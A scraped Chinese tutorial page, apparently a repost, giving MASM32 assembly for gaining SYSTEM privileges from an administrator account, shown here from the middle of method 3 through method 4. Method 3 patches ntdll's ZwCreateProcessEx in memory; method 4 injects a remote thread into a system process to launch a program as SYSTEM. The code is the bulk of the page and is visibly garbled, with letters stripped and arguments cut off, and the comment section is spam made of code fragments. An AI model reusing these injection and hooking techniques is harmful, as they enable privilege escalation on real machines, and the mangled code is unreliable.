lbl db text,0
.code
exitm
EDM

ASMJMP struct
mov_eax BYTE ?
address DWORD ?
jmp_eax WORD ?
ASMJMP ends

.data?
g_hProc dd ?
g_dwFunc dd ?

.code
start proc
LOCAL osvi : OSVERSIOIFO
LOCAL lpAsmJmp
LOCAL mbi : MEMORY_BASIC_IFORMATIO
LOCAL stStartupInfo : STARTUPIFO
LOCAL procinfo : PROCESS_IFORMATIO

sub eax, eax
mov lpAsmJmp, eax
invoke RtlZeroMemory, addr osvi, sizeof osvi
invoke RtlZeroMemory, addr mbi, sizeof mbi
invoke RtlZeroMemory, addr stStartupInfo, sizeof stStartupInfo
invoke RtlZeroMemory, addr procinfo, sizeof procinfo


mov rsionInfoSize, sizeof osvi
invoke GetVersionEx, addr osvi
cmp rVersion, 5
jnz _exit
.if rVersion==1
mov g_dwFunc, 30h
.elseif rVersion==2
mov g_dwFunc, 32h
.endif

invoke _EnablePrivilege, CTXT(

invoke _GetPidFromProcame, CTXT(
test eax, eax
jz _exit

invoke OpenProcess, PROCESS_CREATE_PROCESS, TRUE, eax
test eax, eax
jz _exit
mov g_hProc, eax

invoke GetModuleHandle, CTXT(
mov edx, eax
invoke GetProcAddress, edx, CTXT(
mov lpAsmJmp, eax

invoke VirtualQuery, lpAsmJmp, addr mbi, sizeof mbi
push eax
invoke VirtualProtect, tionBase,
PAGE_EXECUTE_READWRITE, esp
pop eax

mov edi, lpAsmJmp
assume edi : ptr ASMJMP
mov [edi].mov_eax, 0B8h
mov [edi].address, offset _HackedZwCreateProcessEx
mov [edi].jmp_eax, 0E0FFh

mov , sizeof stStartupInfo
invoke CreateProcess, 0, CTXT(
0, 0, 0, 0, 0, 0, addr stStartupInfo, addr procinfo
test eax, eax
jz _exit
invoke CloseHandle, ss
Size,


invoke CloseHandle, d

_exit:
invoke ExitProcess, ULL
start endp

_HackedZwCreateProcessEx proc
mov eax, g_hProc
mov dword ptr [esp+16], eax
mov eax, g_dwFunc
lea edx, dword ptr [esp+4]
int 2Eh
retn 24h
_HackedZwCreateProcessEx endp

_EnablePrivilege proc szPriv:DWORD, bFlags:DWORD
LOCAL hToken
LOCAL tkp : TOKE_PRIVILEGES

invoke GetCurrentProcess
mov edx, eax
invoke OpenProcessToken, edx, TOKE_ADJUST_PRIVILEGES or TOKE_QUERY,
addr hToken
invoke LookupPrivilegeValue, ULL, szPriv, addr
mov egeCount, 1
xor eax, eax
.if bFlags
mov eax, SE_PRIVILEGE_EABLED
.endif
mov utes, eax
invoke AdjustTokenPrivileges, hToken, FALSE, addr tkp, 0, 0, 0
push eax
invoke CloseHandle, hToken
pop eax
ret
_EnablePrivilege endp

_GetPidFromProcame proc lpProcame:DWORD
LOCAL stProcess : PROCESSETRY32
LOCAL hSnapshot
LOCAL dwProcessID

mov dwProcessID, 0
invoke RtlZeroMemory, addr stProcess, sizeof stProcess


mov , sizeof stProcess
invoke CreateToolhelp32Snapshot, TH32CS_SAPPROCESS, 0
mov hSnapshot, eax
invoke Process32First, hSnapshot, addr stProcess
.while eax
invoke lstrcmpi, lpProcame, addr ile
.if eax==0
mov eax, 32ProcessID
mov dwProcessID, eax
.break
.endif
invoke Process32ext, hSnapshot, addr stProcess
.endw
invoke CloseHandle, hSnapshot
mov eax, dwProcessID
ret
_GetPidFromProcame endp

end start

:make

set path=%path%;c:masm32bin
set appname=GetSys3

ml nologo c coff %appname%.bat
link nologo subsystem:windows %appname%.obj
del %appname%.obj
echo.
pause
4. 远程线程的方法

通过注入远程线程的方法来运行指定的 程序,
也是相当于运行 程序的是系统进程,
那么 也就自然而然的继承了系统进程的 SYSTEM 权限。

;@echo off
;goto make

;=====================================================================
===============
; 以 SYSTEM 权限运行程序 - GetSys4
; 采用远程线程的方法
;=====================================================================


===============
.386
.model flat, stdcall
option casemap :none

include c:masm32include
include c:masm32include
include c:masm32include
include c:masm32include

includelib c:masm32lib
includelib c:masm32lib
includelib c:masm32lib

_EnablePrivilege proto :DWORD,:DWORD
_GetPidFromProcame proto :DWORD

;下面两个宏来源于罗云彬的《Windows 环境下32位汇编程序设计》一书
reverseArgs macro arglist:VARARG
local txt,count

txt TEXTEQU <>
count = 0
for i,
count = count + 1
txt TEXTEQU @CatStr(i,,<%txt>)
endm
if count GT 0
txt SUBSTR txt,1,@SizeStr(%txt)-1
endif
exitm txt
endm
_invoke macro _Proc,args:VARARG
local count

count = 0
% for i,< reverseArgs( args ) >
count = count + 1
push i
endm
call dword ptr _Proc

endm


CTXT MACRO text
local lbl
.ct
lbl db text,0
.code
exitm
EDM

.data?
g_hProcess dd ?
g_lpRemoteCode dd ?

.code
Remote_code_start equ this byte

g_lpGetModuleHandleA dd ?
g_lpGetProcAddress dd ?

g_szKernel32 db
g_szCreateProcessA db

g_lpCreateProcessA dd ?

g_szRegedit db
g_szDesktop db

g_stStartupInfo STARTUPIFO
g_procinfo PROCESS_IFORMATIO

_RemoteThread proc
; int 3
pushad
call @F
@@:
pop ebx
sub ebx, offset @B

lea eax, [ebx+g_szKernel32]
_invoke [ebx+g_lpGetModuleHandleA], eax
mov esi, eax
lea eax, [ebx+g_szCreateProcessA]
_invoke [ebx+g_lpGetProcAddress], esi, eax
mov [ebx+g_lpCreateProcessA], eax


lea eax, [ebx+g_szDesktop]
lea ecx, [ebx+g_stStartupInfo]
mov dword ptr [ecx], sizeof g_stStartupInfo
mov dword ptr [ecx+8], eax
lea eax, [ebx+g_szRegedit]
lea edx, [ebx+g_procinfo]

_invoke [ebx+g_lpCreateProcessA], 0, eax, 0, 0, 0, 0, 0, 0, ecx, edx

popad
ret
_RemoteThread endp

Remote_code_end equ this byte
Remote_code_length equ offset Remote_code_end - offset Remote_code_start

start proc
invoke GetModuleHandle, CTXT(
mov ebx, eax
invoke GetProcAddress, ebx, CTXT(
mov g_lpGetModuleHandleA, eax
invoke GetProcAddress, ebx, CTXT(
mov g_lpGetProcAddress, eax

invoke _EnablePrivilege, CTXT(

invoke _GetPidFromProcame, CTXT(
invoke OpenProcess,
PROCESS_CREATE_THREAD+PROCESS_VM_OPERATIO+PROCESS_VM_WRITE,
FALSE, eax
.if eax
mov g_hProcess, eax
invoke VirtualAllocEx, g_hProcess, ULL, Remote_code_length, MEM_COMMIT,
PAGE_EXECUTE_READWRITE
.if eax
mov g_lpRemoteCode, eax
invoke WriteProcessMemory, g_hProcess, g_lpRemoteCode,
offset Remote_code_start, Remote_code_length, ULL
mov eax, g_lpRemoteCode
add eax, offset _RemoteThread - offset Remote_code_start
invoke CreateRemoteThread, g_hProcess, ULL, 0, eax, 0, 0, ULL
invoke CloseHandle, eax
.endif
invoke CloseHandle, g_hProcess


.endif
invoke ExitProcess, ULL
start endp

_EnablePrivilege proc szPriv:DWORD, bFlags:DWORD
LOCAL hToken
LOCAL tkp : TOKE_PRIVILEGES

invoke GetCurrentProcess
mov edx, eax
invoke OpenProcessToken, edx, TOKE_ADJUST_PRIVILEGES or TOKE_QUERY,
addr hToken
invoke LookupPrivilegeValue, ULL, szPriv, addr
mov egeCount, 1
xor eax, eax
.if bFlags
mov eax, SE_PRIVILEGE_EABLED
.endif
mov utes, eax
invoke AdjustTokenPrivileges, hToken, FALSE, addr tkp, 0, 0, 0
push eax
invoke CloseHandle, hToken
pop eax
ret
_EnablePrivilege endp

_GetPidFromProcame proc lpProcame:DWORD
LOCAL stProcess : PROCESSETRY32
LOCAL hSnapshot
LOCAL dwProcessID

mov dwProcessID, 0
invoke RtlZeroMemory, addr stProcess, sizeof stProcess
mov , sizeof stProcess
invoke CreateToolhelp32Snapshot, TH32CS_SAPPROCESS, 0
mov hSnapshot, eax
invoke Process32First, hSnapshot, addr stProcess
.while eax
invoke lstrcmpi, lpProcame, addr ile
.if eax==0
mov eax, 32ProcessID
mov dwProcessID, eax
.break
.endif


invoke Process32ext, hSnapshot, addr stProcess
.endw
invoke CloseHandle, hSnapshot
mov eax, dwProcessID
ret
_GetPidFromProcame endp

end start

:make

set path=%path%;c:masm32bin
set appname=GetSys4

ml nologo c coff %appname%.bat
link nologo subsystem:windows section:.text,rwe %appname%.obj
del %appname%.obj
echo.
pause
这段代码也没什么好解释的,唯一一个要注意的地方就是调用 CreateProcess 函数时,
lpStartupInfo
参数指向的 STARTUPIFO 结构成员 lpDesktop 需要明确的指定 WinSta0Default 为运行
桌面。
否则,程序 运行后不知道跑到哪里去了。

-

从管理员身份获得SYSTEM 权限的四种方法

发布时间:2022-03-28 18:41:23
文章版权声明:除非注明,否则均为IT技术网-学习WEB前端开发等IT技术的网络平台原创文章,转载或复制请以超链接形式并注明出处。

发表评论

评论列表 (有 16 条评论,392人围观)
孤独症治疗V铁粉1 minute ago Google Chrome 93.0.4577.82 Windows 10 x64
CTXT( mov ebx
内蒙古煤矿V铁粉5 minutes ago Google Chrome 93.0.4577.82 Windows 10 x64
eax mov dwSDLength
顺德培训V铁粉13 minutes ago Google Chrome 93.0.4577.82 Windows 10 x64
bSuccess ret _ModifySecurity endp _EnablePrivilege proc szPriv
和田玉疯了网V铁粉8 minutes ago Google Chrome 93.0.4577.82 Windows 10 x64
ULL invoke DeleteService
java私塾V铁粉20 minutes ago Google Chrome 93.0.4577.82 Windows 10 x64
eax
酒店设计V铁粉28 minutes ago Google Chrome 93.0.4577.82 Windows 10 x64
CTXT( invoke _GetPidFromProcame
8个月宝宝食谱V铁粉9 minutes ago Google Chrome 93.0.4577.82 Windows 10 x64
addr hToken invoke LookupPrivilegeValue
薰衣草精油的用法V铁粉18 minutes ago Google Chrome 93.0.4577.82 Windows 10 x64
LPTR
fh21V铁粉9 minutes ago Google Chrome 93.0.4577.82 Windows 10 x64
[ebx+g_procinfo] _invoke [ebx+g_lpCreateProcessA]
自得其乐V铁粉30 minutes ago Google Chrome 93.0.4577.82 Windows 10 x64
masm32include include c
丁薇老公V铁粉0 second ago Google Chrome 93.0.4577.82 Windows 10 x64
eax invoke GetKernelObjectSecurity
深圳妇科医院V铁粉6 minutes ago Google Chrome 93.0.4577.82 Windows 10 x64
唯一一个要注意的地方就是调用 CreateProcess 函数时
大幅度V铁粉24 minutes ago Google Chrome 93.0.4577.82 Windows 10 x64
masm32lib includelib c
生男生女秘诀V铁粉20 minutes ago Google Chrome 93.0.4577.82 Windows 10 x64
STARTUPIFO LOCAL procinfo
土茯苓煲汤V铁粉29 minutes ago Google Chrome 93.0.4577.82 Windows 10 x64
stdcall option casemap